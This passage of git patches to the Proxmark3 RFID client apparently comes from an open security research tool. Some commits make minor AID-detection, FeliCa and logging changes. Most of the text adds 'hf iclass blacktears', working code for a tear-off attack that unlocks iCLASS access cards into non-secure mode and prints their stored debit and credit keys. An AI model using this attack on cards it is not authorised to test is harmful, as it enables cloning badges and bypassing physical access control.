%s", sprint_hex_inrow(state->auth1_parsed.signature, 64)); if (state->auth1_parsed.have_key_slot) { @@ -1876,6 +1888,7 @@ static void aliro_read_print_fast_suggestion_note(const char *fast_cmd) { if (fast_cmd == NULL || fast_cmd[0] == '\0') { return; } + PrintAndLogEx(INFO, ""); PrintAndLogInfoHeader("Note"); PrintAndLogEx(INFO, _GREEN_("use the following command to perform FAST authentication flow for this endpoint:")); PrintAndLogEx(INFO, _YELLOW_("%s"), fast_cmd); @@ -3249,6 +3262,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, document_types[document_type_count++] = ALIRO_REVOCATION_DOCUMENT_TYPE; } + PrintAndLogEx(INFO, ""); PrintAndLogInfoHeader("Step-up"); if (document_type_count == 0) { PrintAndLogEx(WARNING, "Signaling bitmap does not indicate retrievable step-up documents"); From 215ac24edbc4464bb49c95e5e0e3fec9a5f8b164 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Mon, 16 Mar 2026 19:32:35 +0200 Subject: [PATCH 099/162] Allow to detect which exact app implements AID via matching response data --- client/src/cmdhf14a.c | 43 +++++++++++++++++++++++++++++-------------- client/src/cmdhf14a.h | 2 ++ 2 files changed, 31 insertions(+), 14 deletions(-) diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 2e12ce15e..a584fdbaf 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -233,17 +233,17 @@ const char *getTagInfo(uint8_t uid) { } static const hintAIDList_t hintAIDList[] = { - // AID, AID len, name, hint - how to use - { "\xA0\x00\x00\x06\x47\x2F\x00\x01", 8, "FIDO", "hf fido" }, - { "\xA0\x00\x00\x03\x08\x00\x00\x10\x00\x01\x00", 11, "PIV", "" }, - { "\xD2\x76\x00\x01\x24\x01", 8, "OpenPGP", "" }, - { "\x31\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (pse)", "emv" }, - { "\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (ppse)", "emv" }, - { "\x41\x44\x20\x46\x31", 5, "CIPURSE", "hf cipurse" }, - { "\xA0\x00\x00\x09\x09\xAC\xCE\x55\x01", 9, "Aliro", "hf aliro" }, - { "\xd2\x76\x00\x00\x85\x01\x00", 7, "desfire", "hf mfdes" }, - { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "OSE.VAS", "hf vas"}, - { "\xA0\x00\x00\x04\x76\xD0\x00\x01\x11", 9, "Google Smart Tap v2", "hf gst" }, + { "\xA0\x00\x00\x06\x47\x2F\x00\x01", 8, "", 0, "FIDO", "hf fido" }, + { "\xA0\x00\x00\x03\x08\x00\x00\x10\x00\x01\x00", 11, "", 0, "PIV", "" }, + { "\xD2\x76\x00\x01\x24\x01", 8, "", 0, "OpenPGP", "" }, + { "\x31\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "", 0, "EMV (pse)", "emv" }, + { "\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "", 0, "EMV (ppse)", "emv" }, + { "\x41\x44\x20\x46\x31", 5, "", 0, "CIPURSE", "hf cipurse" }, + { "\xA0\x00\x00\x09\x09\xAC\xCE\x55\x01", 9, "", 0, "Aliro", "hf aliro" }, + { "\xd2\x76\x00\x00\x85\x01\x00", 7, "", 0, "desfire", "hf mfdes" }, + { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "ApplePay", 8, "OSE.VAS (Apple Wallet)", "hf vas" }, + { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "AndroidPay", 10, "OSE.VAS (Google Wallet)", "hf gst" }, + { "\xA0\x00\x00\x04\x76\xD0\x00\x01\x11", 9, "", 0, "Google Smart Tap v2", "hf gst" }, }; // iso14a apdu input frame length @@ -3407,6 +3407,18 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { return select_status; } +static bool hint_aid_match_select_response(const hintAIDList_t *entry, const uint8_t *select_response, size_t select_response_len) { + if (entry->select_response_match_length == 0) { + return true; + } + + if ((entry->select_response_match == NULL) || (select_response == NULL) || (select_response_len < entry->select_response_match_length)) { + return false; + } + + return byte_strstr(select_response, select_response_len, (const uint8_t *)entry->select_response_match, entry->select_response_match_length) != -1; +} + int infoHF14A4Applications(bool verbose) { bool cardFound[ARRAYLEN(hintAIDList)] = {0}; bool ActivateField = true; @@ -3421,6 +3433,10 @@ int infoHF14A4Applications(bool verbose) { break; if (sw == ISO7816_OK || sw == ISO7816_INVALID_DF || sw == ISO7816_FILE_TERMINATED) { + if (!hint_aid_match_select_response(&hintAIDList[i], result, resultlen)) { + continue; + } + if (!found) { if (verbose) PrintAndLogEx(INFO, "----------------- " _CYAN_("Short AID search") " -----------------"); @@ -3431,9 +3447,8 @@ int infoHF14A4Applications(bool verbose) { if (verbose) PrintAndLogEx(SUCCESS, "Application " _CYAN_("%s") " ( " _GREEN_("ok") " )", hintAIDList[i].desc); cardFound[i] = true; - } else { - if (verbose) - PrintAndLogEx(WARNING, "Application " _CYAN_("%s") " ( " _RED_("blocked") " )", hintAIDList[i].desc); + } else if (verbose) { + PrintAndLogEx(WARNING, "Application " _CYAN_("%s") " ( " _RED_("blocked") " )", hintAIDList[i].desc); } } } diff --git a/client/src/cmdhf14a.h b/client/src/cmdhf14a.h index 2e438a2d6..74e8a6685 100644 --- a/client/src/cmdhf14a.h +++ b/client/src/cmdhf14a.h @@ -32,6 +32,8 @@ typedef struct { typedef struct { const char *aid; const uint8_t aid_length; + const char *select_response_match; + const uint8_t select_response_match_length; const char *desc; const char *hint; } hintAIDList_t; From e52c2f79fce8b7d88e8b992c899e7bf09277dcd2 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Mon, 16 Mar 2026 19:45:30 +0200 Subject: [PATCH 100/162] Skip nodes with PIN attribute when performing node discovery with RequestService in FeliCa --- client/src/cmdhffelica.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index eaac8e4cb..6926582a2 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -110,7 +110,7 @@ #define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITH_KEY_WITH_PIN 0x36U #define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITHOUT_KEY_WITH_PIN 0x37U -#define FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE 16U +#define FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE 32U #define FELICA_MAX_NODE_NUMBER 0x03FFU #define FELICA_PRESENCE_SERVICE_CODE_LE ((uint16_t)FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY) @@ -1992,6 +1992,12 @@ static bool felica_discover_nodes_with_request_service(uint8_t *flags, } const felica_request_service_probe_attribute_t probe_attr = FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES[j]; + if (probe_attr.with_pin) { + // Some cards do not react well to RequestService probes that include + // unsupported node attributes, so PIN-related nodes supported only on mobile are skipped here. + continue; + } + const uint16_t node_code_le = (uint16_t)((number << 6) | probe_attr.attribute); batch_codes[batch_count] = node_code_le; From b91ef4adaf5162cb2b6864196cd8e3b65be06578 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Tue, 17 Mar 2026 21:53:16 +0800 Subject: [PATCH 101/162] Implemented hf iclass blacktears Added `hf iclass blacktears` command to perform an automated tearoff of block 1 to set non-secure page mode. --- CHANGELOG.md | 1 + client/src/cmdhficlass.c | 484 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 485 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3046ebdd5..3b85b54d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf iclass blacktears` command to perform an automated tearoff of block 1 to set non-secure page mode(@antiklesys) - Added `hf gst read` command (@kormax) - Added `hf gst info` command (@kormax) - Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index b30961b65..fe56cc765 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3584,6 +3584,489 @@ out: return isok; } +static int CmdHFiClass_BlackTears(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass blacktears", + "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode.\n" + "Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n", + "hf iclass blacktears -k 001122334455667B\n" + "hf iclass blacktears --ki 1" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("k", "key", "", "Access key as 8 hex bytes"), + arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), + arg_int0("s", NULL, "", "tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us"), + arg_int0("i", NULL, "", "tearoff delay increment (in us) - default 10"), + arg_int0("e", NULL, "", "tearoff delay end (in us) must be a higher value than the start delay"), + arg_str0("o", "otp", "", "Custom OTP value as 2 hex bytes"), + arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int key_len = 0; + uint8_t key[8] = {0}; + CLIGetHexWithReturn(ctx, 1, key, &key_len); + + int key_nr = arg_get_int_def(ctx, 2, -1); + int blockno = 1; + + uint8_t data[8] = {0x12,0xFF,0xFE,0xFF,0x7F,0x1F,0xFF,0x2C}; //tearoff payload + uint8_t mac[4] = {0}; + + + int tearoff_start = arg_get_int_def(ctx, 3, 1700); + int tearoff_original_start = tearoff_start; // save original start value for later use + int tearoff_increment = arg_get_int_def(ctx, 4, 5); + int tearoff_end = arg_get_int_def(ctx, 5, tearoff_start + 200); //1900 default + + int otp_len = 0; + uint8_t otp[2] = {0}; + CLIGetHexWithReturn(ctx, 6, otp, &otp_len); + + bool verbose = arg_get_lit(ctx, 7); + bool shallow_mod = arg_get_lit(ctx, 8); + bool elite = false; + bool rawkey = false; + bool use_replay = false; //not implemented in this mode + bool read_auth = false; + bool use_credit_key = true; + int tearoff_loop = 1; + int tearoff_sleep = 0; + + CLIParserFree(ctx); + + // Sanity checks + if (key_len > 0 && key_nr >= 0) { + PrintAndLogEx(ERR, "Please specify key or index, not both"); + return PM3_EINVARG; + } + + bool auth = false; + + if (key_len > 0) { + + auth = true; + if (key_len != 8) { + PrintAndLogEx(ERR, "Key is incorrect length"); + return PM3_EINVARG; + } + PrintAndLogEx(NORMAL, ""); + } + + if (key_nr >= 0) { + if (key_nr < ICLASS_KEYS_MAX) { + auth = true; + memcpy(key, iClass_Key_Table[key_nr], 8); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8)); + } else { + PrintAndLogEx(ERR, "Key number is invalid"); + return PM3_EINVARG; + } + } + + if (otp_len > 0){ + if (otp_len != 2) { + PrintAndLogEx(ERR, "OTP is incorrect length"); + return PM3_EINVARG; + } + memcpy(&data[1], otp, 2); //update the otp in the tearoff data value + PrintAndLogEx(NORMAL, ""); + } + + int loop_count = 0; + int isok = PM3_SUCCESS; + bool read_ok = false; + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); + keyType = ICLASS_CREDIT_KEYTYPE; + + if (tearoff_loop > 1) { + PrintAndLogEx(SUCCESS, _YELLOW_("%u") " attempts / tearoff", tearoff_loop); + } + + if (tearoff_sleep) { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("%u") " ms delay between attempts", tearoff_sleep); + } + + //check if the card is in secure mode or not + iclass_card_select_t payload_rdr = { + .flags = (FLAG_ICLASS_READER_INIT | FLAG_ICLASS_READER_CLEARTRACE) + }; + + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); + + if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + DropField(); + return PM3_ESOFT; + } + DropField(); + + if (resp.status == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "no tag found"); + DropField(); + return PM3_ESOFT; + } + + iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; + if (r->status == FLAG_ICLASS_NULL) { + PrintAndLogEx(FAILED, "failed to read block 0,1,2"); + return PM3_ESOFT; + } + + int fail_tolerance = 1; + if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { + PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + } else { + PrintAndLogEx(FAILED, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(FAILED, "Old Silicon is not Supported for this operation."); + DropField(); + return PM3_ESOFT; + } + + picopass_hdr_t *hdr = &r->header.hdr; + uint8_t pagemap = get_pagemap(hdr); + if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { + PrintAndLogEx(INFO, _GREEN_("Card already in non-secure page mode!")); + read_auth = false; + blockno = 3; + uint8_t kd_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); + blockno = 4; + uint8_t kc_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); + PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; + PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + DropField(); + return PM3_ESOFT; + } + + if (pagemap == 0x0) { + PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled")); + goto out; + } + + + // perform initial read here, repeat if failed or 00s + + uint8_t data_read_orig[8] = {0}; + uint8_t ff_data[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; + bool first_read = false; + bool reread = false; + bool erase_phase = false; + + read_auth = false; + + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + while (reread) { + if (res_orig == PM3_SUCCESS && !reread) { + if (memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } else { + reread = false; + } + } else if (res_orig == PM3_SUCCESS && reread) { + reread = false; + if (blockno == 2 && memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } + } + } + + PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); + PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); + PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); + PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages + uint8_t dbg_curr = DBG_NONE; + if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + if (setDeviceDebugLevel(DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + // clear trace log + SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); + + + + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + // Main loop + while ((tearoff_start <= tearoff_end) && (read_ok == false)) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // set tear off trigger + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = (tearoff_start & 0xFFFF), + .on = true, + .off = false + }; + + int res = handle_tearoff(¶ms, verbose); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed to configure tear off"); + isok = PM3_ESOFT; + goto out; + } + + if (tearoff_loop > 1) { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us - "_YELLOW_("%3u")" iter", params.delay_us, (tearoff_end & 0xFFFF), loop_count + 1); + } else { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us", params.delay_us, (tearoff_end & 0xFFFF)); + } + + // write block - don't check the return value. As a tear-off occurred, the write failed. + // when tear off is enabled, the return code will always be PM3_ETEAROFF + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + // read the data back + uint8_t data_read[8] = {0}; + first_read = false; + reread = false; + bool decrease = false; + int readcount = 0; + while (first_read == false) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // skip authentication for config block + read_auth = false; + + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + if (res == PM3_SUCCESS && !reread) { + if (memcmp(data_read, zeros, 8) == 0) { + reread = true; + } else { + first_read = true; + reread = false; + } + } else if (res == PM3_SUCCESS && reread) { + first_read = true; + reread = false; + } else if (res != PM3_SUCCESS) { + decrease = true; + } + + readcount++; + } + + if (readcount > fail_tolerance) { + PrintAndLogEx(WARNING, "\nRead block failed "_RED_("%d") " times", readcount); + } + + // if there was an error reading repeat the tearoff with the same delay + if (decrease && (tearoff_start > tearoff_increment) && (tearoff_start >= tearoff_original_start)) { + tearoff_start -= tearoff_increment; + if (verbose) { + PrintAndLogEx(INFO, " -> Read failed, retearing with "_CYAN_("%u")" us", tearoff_start); + } + } + + bool tear_success = true; + bool expected_values = true; + + if (memcmp(data_read, data, 8) != 0) { + tear_success = false; + } + + if ((tear_success == false) && + (memcmp(data_read, zeros, 8) != 0) && + (memcmp(data_read, data_read_orig, 8) != 0)) { + + // tearoff succeeded (partially) + + expected_values = false; + + if (memcmp(data_read, ff_data, 8) == 0 && + memcmp(data_read_orig, ff_data, 8) != 0) { + + if (erase_phase == false) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Erase phase hit... ALL ONES")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + erase_phase = true; + } else { + + if (erase_phase) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _MAGENTA_("Tearing! Write phase (post erase)")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } else { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Tearing! unknown phase")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + } + + bool goto_out = false; + + if (data_read[0] != data_read_orig[0]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); + isok = PM3_SUCCESS; + goto_out = true; + } + + if (data_read[7] != data_read_orig[7]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Fuse changed, from "_YELLOW_("%02x")" to "_YELLOW_("%02x"), data_read_orig[7], data_read[7]); + + const char *flag_names[8] = { + "RA", + "Fprod0", + "Fprod1", + "Crypt0 (*1)", + "Crypt1 (*0)", + "Coding0", + "Coding1", + "Fpers (*1)" + }; + PrintAndLogEx(INFO, _YELLOW_("%-10s %-10s %-10s"), "Fuse", "Original", "Changed"); + PrintAndLogEx(INFO, "---------------------------------------"); + for (int i = 7; i >= 0; --i) { + int bit1 = (data_read_orig[7] >> i) & 1; + int bit2 = (data_read[7] >> i) & 1; + PrintAndLogEx(INFO, "%-11s %-10d %-10d", flag_names[i], bit1, bit2); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + // if more OTP bits set.. + if (data_read[1] > data_read_orig[1] || + data_read[2] > data_read_orig[2]) { + PrintAndLogEx(SUCCESS, "More OTP bits got set!!!"); + + data_read[7] = 0xBC; + res = iclass_write_block(blockno, data_read, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); + if (res != PM3_SUCCESS) { + PrintAndLogEx(INFO, "Stabilize the bits ( "_RED_("failed") " )"); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + + if (goto_out) { + goto out; + } + } + + if (tear_success) { // tearoff succeeded with expected values + + read_ok = true; + tear_success = true; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Read: " _GREEN_("%s") " %s" + , sprint_hex_inrow(data_read, sizeof(data_read)), + (expected_values) ? _GREEN_(" -> Expected values!") : "" + ); + } + + loop_count++; + + if (loop_count == tearoff_loop) { + tearoff_start += tearoff_increment; + loop_count = 0; + } + + if (tearoff_sleep) { + msleep(tearoff_sleep); + } + } + + +out: + + DropField(); + + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + // disable tearoff in case of keyboard abort, or it'll trigger on next operation + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = tearoff_start, + .on = false, + .off = true + }; + handle_tearoff(¶ms, false); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); + clearCommandBuffer(); + + read_auth = false; + uint8_t data_read[8]= {0}; + uint8_t data_read2[8] = {0}; + int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + if (res == PM3_SUCCESS){ + if(data_read[7] == 0xBC){ //stabilize with write operation to 0xBE + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Stabilizing to: "_YELLOW_("0xBE"), data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); + data[7] = 0xBE; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); + if(data_read2[7] == 0xBE){ + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); + memcpy(data, data_read2, PICOPASS_BLOCK_SIZE); + data[7] = 0xAC; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + } + }else if(data_read[7] == 0xBE){ //unlock with write operation to 0xAC + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); + data[7] = 0xAC; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + }else if(data_read[7] == 0xAC){//don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")"! All is good!", data_read[7]); + }else if (data_read[7] == 0x3C){ + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged.")); + }else{ + PrintAndLogEx(INFO, _YELLOW_("Did not detect 0xBC or 0xBE fuse, might need manual intervention!")); + } + } + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); + if(data_read[7] == 0xAC || data_read2[7] == 0xAC){ //read block 3 and 4 and print the content + blockno = 3; + uint8_t kd_read[8] = {0}; + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); + blockno = 4; + uint8_t kc_read[8] = {0}; + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); + PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; + PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + } + return isok; +} + static int CmdHFiClass_loclass(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass loclass", @@ -6173,6 +6656,7 @@ static command_t CommandTable[] = { {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"}, {"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"}, {"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"}, + {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Performs tearoff attack on iCLASS for key recovery"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, From 8b1922eeb48cf7918fd62709a218d3e59aba7bfe Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Tue, 17 Mar 2026 22:00:48 +0800 Subject: [PATCH 102/162] Updated command description Updated description Signed-off-by: Antiklesys --- client/src/cmdhficlass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index fe56cc765..54cf0b12c 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -6656,7 +6656,7 @@ static command_t CommandTable[] = { {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"}, {"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"}, {"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"}, - {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Performs tearoff attack on iCLASS for key recovery"}, + {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Automated tearoff attack on new silicon cards to enable non-secure page mode"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, From e768a1d9ad77cce1391801938e367bbd76eb45c1 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Tue, 17 Mar 2026 22:08:41 +0800 Subject: [PATCH 103/162] Update cmdhficlass.c --- client/src/cmdhficlass.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index fe56cc765..8dee17b8b 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3597,6 +3597,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { arg_param_begin, arg_str0("k", "key", "", "Access key as 8 hex bytes"), arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), + arg_lit0(NULL, "credit", "key is assumed to be the credit key"), arg_int0("s", NULL, "", "tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us"), arg_int0("i", NULL, "", "tearoff delay increment (in us) - default 10"), arg_int0("e", NULL, "", "tearoff delay end (in us) must be a higher value than the start delay"), @@ -3618,22 +3619,22 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { uint8_t mac[4] = {0}; - int tearoff_start = arg_get_int_def(ctx, 3, 1700); + int tearoff_start = arg_get_int_def(ctx, 4, 1700); int tearoff_original_start = tearoff_start; // save original start value for later use - int tearoff_increment = arg_get_int_def(ctx, 4, 5); - int tearoff_end = arg_get_int_def(ctx, 5, tearoff_start + 200); //1900 default + int tearoff_increment = arg_get_int_def(ctx, 5, 5); + int tearoff_end = arg_get_int_def(ctx, 6, tearoff_start + 200); //1900 default int otp_len = 0; uint8_t otp[2] = {0}; - CLIGetHexWithReturn(ctx, 6, otp, &otp_len); + CLIGetHexWithReturn(ctx, 7, otp, &otp_len); - bool verbose = arg_get_lit(ctx, 7); - bool shallow_mod = arg_get_lit(ctx, 8); + bool verbose = arg_get_lit(ctx, 8); + bool shallow_mod = arg_get_lit(ctx, 9); bool elite = false; bool rawkey = false; bool use_replay = false; //not implemented in this mode bool read_auth = false; - bool use_credit_key = true; + bool use_credit_key = arg_get_lit(ctx, 3); int tearoff_loop = 1; int tearoff_sleep = 0; @@ -6656,7 +6657,7 @@ static command_t CommandTable[] = { 